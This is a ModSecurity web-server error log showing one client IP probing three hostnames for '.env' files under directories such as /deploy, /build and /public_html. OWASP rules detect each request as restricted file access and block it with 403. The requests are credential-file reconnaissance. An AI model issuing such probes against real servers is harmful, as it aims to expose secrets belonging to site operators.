[Sun Oct 25 02:19:13.414044 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuGAAAAAs"]
[Sun Oct 25 02:19:13.625002 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37gAAAAk"]
[Sun Oct 25 02:19:13.625233 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37gAAAAk"]
[Sun Oct 25 02:19:13.625577 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37gAAAAk"]
[Sun Oct 25 02:19:13.626648 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb3AAAADk"]
[Sun Oct 25 02:19:13.626817 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb3AAAADk"]
[Sun Oct 25 02:19:13.627053 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb3AAAADk"]
[Sun Oct 25 02:19:13.644577 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuGQAAAAs"]
[Sun Oct 25 02:19:13.644817 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuGQAAAAs"]
[Sun Oct 25 02:19:13.645130 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuGQAAAAs"]
[Sun Oct 25 02:19:14.046701 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fYjaSD7UWGB8jzmt37wAAAAk"]
[Sun Oct 25 02:19:14.046968 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fYjaSD7UWGB8jzmt37wAAAAk"]
[Sun Oct 25 02:19:14.047302 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fYjaSD7UWGB8jzmt37wAAAAk"]
[Sun Oct 25 02:19:14.089318 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuGgAAAAs"]
[Sun Oct 25 02:19:14.089653 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuGgAAAAs"]
[Sun Oct 25 02:19:14.090112 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuGgAAAAs"]
[Sun Oct 25 02:19:14.123799 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3QAAADk"]
[Sun Oct 25 02:19:14.124042 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3QAAADk"]
[Sun Oct 25 02:19:14.124412 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3QAAADk"]
[Sun Oct 25 02:19:14.290753 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38AAAAAk"]
[Sun Oct 25 02:19:14.291011 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38AAAAAk"]
[Sun Oct 25 02:19:14.291341 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38AAAAAk"]
[Sun Oct 25 02:19:14.306933 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuGwAAAAs"]
[Sun Oct 25 02:19:14.307164 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuGwAAAAs"]
[Sun Oct 25 02:19:14.307493 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuGwAAAAs"]
[Sun Oct 25 02:19:14.394635 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3gAAADk"]
[Sun Oct 25 02:19:14.394883 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3gAAADk"]
[Sun Oct 25 02:19:14.395239 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3gAAADk"]
[Sun Oct 25 02:19:14.548763 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38QAAAAk"]
[Sun Oct 25 02:19:14.549052 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38QAAAAk"]
[Sun Oct 25 02:19:14.549441 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fYjaSD7UWGB8jzmt38QAAAAk"]
[Sun Oct 25 02:19:14.550443 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuHAAAAAs"]
[Sun Oct 25 02:19:14.550648 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuHAAAAAs"]
[Sun Oct 25 02:19:14.550860 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuHAAAAAs"]
[Sun Oct 25 02:19:14.635521 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3wAAADk"]
[Sun Oct 25 02:19:14.635751 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3wAAADk"]
[Sun Oct 25 02:19:14.636013 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYmTNY6y0aXZ6joCb3wAAADk"]
[Sun Oct 25 02:19:14.801822 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuHQAAAAs"]
[Sun Oct 25 02:19:14.802099 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at2fYnqPPT_6tJCMTRvuHQAAAAs"]
